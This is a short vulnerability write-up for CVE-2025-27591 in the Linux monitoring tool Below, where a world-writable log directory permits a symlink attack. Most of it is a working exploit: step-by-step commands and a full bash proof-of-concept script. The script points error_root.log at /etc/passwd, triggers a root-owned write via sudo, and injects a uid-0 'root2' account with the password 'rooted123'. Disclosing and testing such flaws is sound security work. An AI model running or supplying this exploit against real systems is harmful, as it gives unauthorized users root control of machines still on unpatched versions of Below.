CVE-2025-27591 – Privilege Escalation in Below

1) Introduction

Below is a Linux tool for recording and displaying system data such as hardware utilization and cgroup metrics.

In versions prior to v0.9.0, Below’s systemd service runs with root privileges and creates world-writable log directories and files under /var/log/below. This insecure configuration enables symlink attacks that allow an unprivileged local user to escalate privileges to root.

This issue was assigned CVE-2025-27591.
Upstream fixed it in v0.9.0.

2) Vulnerability – Symlink Attack in `/var/log/below`

Below ensures /var/log/below has 0777 permissions at runtime.
It also creates /var/log/below/error_root.log with 0666 permissions.
Because the directory is world-writable, an attacker can replace the log file with a symlink to any sensitive file (e.g., /etc/passwd).
When Below writes logs as root, it will instead write to the symlink target, allowing privilege escalation.

This behavior bypasses the kernel’s protected_symlinks hardening because the sticky bit is not applied.

3) Exploitation

By pointing error_root.log to /etc/passwd, we can inject a new root user with a known password.

Steps

Step 1: Create backup of /etc/passwd. Always back up before modifying system files:

cp /etc/passwd /tmp/passwd.bak

Step 2: Generate a malicious user entry

HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload

Step 3: Symlink the vulnerable log

rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log

Step 4: Trigger log creation

sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1

Step 5: Overwrite /etc/passwd

cat /tmp/payload > /var/log/below/error_root.log

Step 6: Switch to the new root user

su root2
# password: rooted123

4) Proof of Concept (PoC): Run this script

#!/bin/bash
# CVE-2025-27591 Exploit - Privilege Escalation via 'below'

TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"

echo "[*] CVE-2025-27591 Privilege Escalation Exploit"

# Check for sudo access to below
echo "[*] Checking sudo permissions..."
if ! sudo -l | grep -q '/usr/bin/below'; then
  echo "[!] 'below' is not available via sudo. Exiting."
  exit 1
fi

# Backup current /etc/passwd
echo "[*] Backing up /etc/passwd to $BACKUP"
cp /etc/passwd "$BACKUP"

# Generate password hash for 'root2' user (password: rooted123)
echo "[*] Generating password hash..."
HASH=$(openssl passwd -6 'rooted123')

# Prepare malicious passwd line
echo "[*] Creating malicious passwd line..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"

# Create symlink
echo "[*] Linking $LINK_PATH to $TARGET"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"

# Trigger log creation with invalid --time to force below to recreate the log
echo "[*] Triggering 'below' to write to symlinked log..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1

# Overwrite passwd file via symlink
echo "[*] Injecting malicious user into /etc/passwd"
cat "$TMP_PAYLOAD" > "$LINK_PATH"

# Test access
echo "[*] Try switching to 'root2' using password: rooted123"
su root2

CVE-2025-27591-below-

Most Popular